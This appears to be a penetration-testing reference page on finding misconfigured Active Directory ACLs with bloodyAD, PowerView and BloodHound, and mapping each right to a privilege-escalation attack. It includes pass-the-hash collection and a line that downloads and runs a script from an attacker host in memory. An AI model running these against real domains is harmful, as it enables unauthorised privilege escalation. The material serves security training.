Skip to content
HackIndex logo

HackIndex

ACL Enumeration

4 min read Jul 10, 2026

ACLs in Active Directory control who can read, modify, and delete objects and their attributes. Misconfigured ACLs are among the most impactful privilege escalation paths in AD environments: a single GenericWrite or WriteDACL on a privileged account can give you direct control without exploiting any software vulnerability. ACL enumeration identifies these paths so you know what to abuse.

Find writable objects

BloodyAD's get writable scans the directory for objects your current account has write permissions on. This is the fastest way to identify ACL-based attack paths from your current context.

┌──(kali㉿kali)-[~]
└─$ # All objects current user can write to
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable
 
┌──(kali㉿kali)-[~]
└─$ # Detailed output — shows which attributes are writable
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail
 
┌──(kali㉿kali)-[~]
└─$ # Include deleted objects
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --include-del 
distinguishedName: CN=svc-web,CN=Users,DC=corp,DC=local
  RIGHT: WRITE_PROP
  attribute: servicePrincipalName

distinguishedName: CN=WS01,CN=Computers,DC=corp,DC=local
  RIGHT: WRITE_PROP
  attribute: msDS-AllowedToActOnBehalfOfOtherIdentity
PS C:\Users\Guest\Desktop> # Find all interesting ACLs for current user — resolves GUIDs to readable names
PS C:\Users\Guest\Desktop> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match $USER}
 
PS C:\Users\Guest\Desktop> # Find write/modify rights for current user on any object
PS C:\Users\Guest\Desktop> Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match $USER -and
$_.ActiveDirectoryRights -match 'Write|GenericAll|GenericWrite|WriteDacl|WriteOwner'
}
 
PS C:\Users\Guest\Desktop> # Check ACL on specific user or group
PS C:\Users\Guest\Desktop> Get-DomainObjectAcl -Identity $TARGET_USER -ResolveGUIDs | Select-Object IdentityReferenceName, ActiveDirectoryRights, ObjectAceType
PS C:\Users\Guest\Desktop> Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs

Each finding maps directly to an attack:

  • Writable servicePrincipalName on a user: set an SPN and Kerberoast it

  • Writable msDS-AllowedToActOnBehalfOfOtherIdentity on a computer: RBCD abuse, impersonate any user to that host

  • Writable member on a privileged group: add yourself to Domain Admins

  • Writable userAccountControl: enable DONT_REQ_PREAUTH for AS-REP Roasting

  • GenericWrite or GenericAll on any object: full control of that object

BloodHound: automated ACL path analysis

BloodHound maps ACL chains across the entire domain and finds multi-hop paths from your current account to Domain Admin. BloodHound finds the path, BloodyAD executes it.

┌──(kali㉿kali)-[~]
└─$ # Install
┌──(kali㉿kali)-[~]
└─$ pipx install bloodhound
 
┌──(kali㉿kali)-[~]
└─$ # Full collection — all methods
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c All
 
┌──(kali㉿kali)-[~]
└─$ # Stealth — DC only queries (less noisy, slower)
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -dc $TARGET_IP -c DCOnly
 
┌──(kali㉿kali)-[~]
└─$ # With Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -d $DOMAIN -u $USER --hashes :$NTHASH -dc $TARGET_IP -c All 
INFO: Found AD domain: corp.local
INFO: Found 3 computers
INFO: Found 24 users
INFO: Found 15 groups
INFO: Done in 00M 12S
PS C:\Users\Guest\Desktop> # On Kali: /usr/share/sharphound/SharpHound.exe
PS C:\Users\Guest\Desktop> # Full collection
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # Stealth
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c DCOnly --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # Load from memory
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST/SharpHound.ps1')
PS C:\Users\Guest\Desktop> Invoke-BloodHound -CollectionMethod All

After collection, load the ZIP into BloodHound and run these first:

  • Shortest Paths to Domain Admins: fewest hops from your account to DA

  • Find Principals with DCSync Rights: accounts that can dump all domain hashes

  • Shortest Path from Owned Principals: mark your account as owned, then run this

  • Find Computers with Unconstrained Delegation: high-value coercion targets

Key ACL rights

Right

What you can do

Attack

GenericAll

Full control of object

Change password, add to group, set SPN

GenericWrite

Write any attribute

Set SPN for Kerberoasting, set RBCD, shadow credentials

WriteOwner

Change object owner

Take ownership, then grant yourself GenericAll

WriteDACL

Modify ACL

Grant yourself GenericAll or DCSync rights

ForceChangePassword

Reset password without knowing current

Set known password, authenticate as target

AddMember

Add members to group

Add yourself to Domain Admins or privileged group

Self

Add yourself to object

Add self to group if Self on group membership

Each right maps to a specific exploitation technique. For how to abuse them see ACL Abuse Privilege Escalation.

Related

ACL Abuse Privilege Escalation
Blog

ACL Abuse Privilege Escalation

Exploiting misconfigured Active Directory ACLs to escalate privileges via WriteDACL, GenericAll, For...

References